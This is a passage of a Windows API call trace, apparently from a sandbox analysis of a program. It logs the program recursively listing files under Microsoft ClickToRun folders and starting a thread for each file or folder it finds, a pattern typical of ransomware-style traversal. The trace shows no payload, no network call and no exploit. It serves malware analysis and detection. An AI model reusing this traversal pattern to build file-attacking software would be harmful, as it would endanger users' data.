ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0074.558] wcscmp (_String1="Packages", _String2=".") returned 1 [0074.558] wcscmp (_String1="Packages", _String2="..") returned 1 [0074.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347c0c8 [0074.558] wcscpy (in: _Dest=0x347c0c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog" [0074.558] wcscat (in: _Dest=0x347c0c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\" [0074.558] wcscat (in: _Dest=0x347c0c8, _Source="Packages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" [0076.628] Sleep (dwMilliseconds=0x1) [0077.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0077.856] FindNextFileW (in: hFindFile=0x3433ce8, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0077.856] FindClose (in: hFindFile=0x3433ce8 | out: hFindFile=0x3433ce8) returned 1 [0077.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c7f0) returned 1 [0077.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f810) returned 1 [0077.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccdf0) returned 1 [0077.856] RtlExitUserThread (Status=0x0) Thread: id = 641 os_tid = 0xd28 [0074.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e3260 [0074.558] wcscpy (in: _Dest=0x33e3260, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" [0074.558] wcscat (in: _Dest=0x33e3260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\" [0074.558] wcscat (in: _Dest=0x33e3260, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" [0074.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ca58 [0074.559] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433de8 [0074.559] wcscmp (_String1=".", _String2=".") returned 0 [0074.559] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.559] wcscmp (_String1="..", _String2=".") returned 1 [0074.559] wcscmp (_String1="..", _String2="..") returned 0 [0074.559] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0074.559] wcscmp (_String1="ShortcutBackups", _String2=".") returned 1 [0074.559] wcscmp (_String1="ShortcutBackups", _String2="..") returned 1 [0074.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6720 [0074.559] wcscpy (in: _Dest=0x33e6720, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration" [0074.559] wcscat (in: _Dest=0x33e6720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\" [0074.559] wcscat (in: _Dest=0x33e6720, _Source="ShortcutBackups" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" [0076.628] Sleep (dwMilliseconds=0x1) [0077.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0077.851] FindNextFileW (in: hFindFile=0x3433de8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0077.851] FindClose (in: hFindFile=0x3433de8 | out: hFindFile=0x3433de8) returned 1 [0077.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca58) returned 1 [0077.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3260) returned 1 [0077.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc760) returned 1 [0077.851] RtlExitUserThread (Status=0x0) Thread: id = 642 os_tid = 0xb98 [0074.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x34299a8 [0074.560] wcscpy (in: _Dest=0x34299a8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0074.560] wcscat (in: _Dest=0x34299a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0074.560] wcscat (in: _Dest=0x34299a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*" [0074.560] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ccc0 [0074.560] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*", lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e28 [0074.562] wcscmp (_String1=".", _String2=".") returned 0 [0074.562] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.562] wcscmp (_String1="..", _String2=".") returned 1 [0074.562] wcscmp (_String1="..", _String2="..") returned 0 [0074.562] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd7b21800, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.562] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2=".") returned 1 [0074.562] wcscmp (_String1="MasterDescriptor.en-us.xml", _String2="..") returned 1 [0074.562] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x347d0f8 [0074.562] wcscpy (in: _Dest=0x347d0f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0074.562] wcscat (in: _Dest=0x347d0f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0074.562] wcscat (in: _Dest=0x347d0f8, _Source="MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" [0076.627] Sleep (dwMilliseconds=0x1) [0077.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0077.847] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0077.847] wcscmp (_String1="s641033.hash", _String2=".") returned 1 [0077.847] wcscmp (_String1="s641033.hash", _String2="..") returned 1 [0077.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7fd8 [0077.847] wcscpy (in: _Dest=0x33f7fd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0077.847] wcscat (in: _Dest=0x33f7fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0077.847] wcscat (in: _Dest=0x33f7fd8, _Source="s641033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" [0077.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0077.848] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.848] wcscmp (_String1="stream.x64.en-us.man.dat", _String2=".") returned 1 [0077.848] wcscmp (_String1="stream.x64.en-us.man.dat", _String2="..") returned 1 [0077.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xde) returned 0x34333d8 [0077.848] wcscpy (in: _Dest=0x34333d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0077.848] wcscat (in: _Dest=0x34333d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0077.848] wcscat (in: _Dest=0x34333d8, _Source="stream.x64.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" [0077.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34333d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0077.849] FindNextFileW (in: hFindFile=0x3433e28, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.849] FindClose (in: hFindFile=0x3433e28 | out: hFindFile=0x3433e28) returned 1 [0077.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ccc0) returned 1 [0077.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34299a8) returned 1 [0077.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3538) returned 1 [0077.849] RtlExitUserThread (Status=0x0) Thread: id = 643 os_tid = 0xfa8 [0074.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3431640 [0074.563] wcscpy (in: _Dest=0x3431640, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0074.563] wcscat (in: _Dest=0x3431640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0074.563] wcscat (in: _Dest=0x3431640, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*" [0074.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342cf28 [0074.563] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*", lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e68 [0074.565] wcscmp (_String1=".", _String2=".") returned 0 [0074.565] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.565] wcscmp (_String1="..", _String2=".") returned 1 [0074.565] wcscmp (_String1="..", _String2="..") returned 0 [0074.565] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd54fbe00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0074.565] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2=".") returned 1 [0074.565] wcscmp (_String1="MasterDescriptor.x-none.xml", _String2="..") returned 1 [0074.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x33fb1b0 [0074.565] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0074.565] wcscat (in: _Dest=0x33fb1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0074.565] wcscat (in: _Dest=0x33fb1b0, _Source="MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" [0076.627] Sleep (dwMilliseconds=0x1) [0077.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fb1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0077.843] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0077.843] wcscmp (_String1="s640.hash", _String2=".") returned 1 [0077.843] wcscmp (_String1="s640.hash", _String2="..") returned 1 [0077.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f7f08 [0077.843] wcscpy (in: _Dest=0x33f7f08, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0077.843] wcscat (in: _Dest=0x33f7f08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0077.843] wcscat (in: _Dest=0x33f7f08, _Source="s640.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" [0077.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0077.843] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342cf28 | out: lpFindFileData=0x342cf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82fc026f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82fc026f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.843] wcscmp (_String1="stream.x64.x-none.man.dat", _String2=".") returned 1 [0077.844] wcscmp (_String1="stream.x64.x-none.man.dat", _String2="..") returned 1 [0077.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0077.844] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0077.844] wcscat (in: _Dest=0x348af68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0077.844] wcscat (in: _Dest=0x348af68, _Source="stream.x64.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" [0077.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 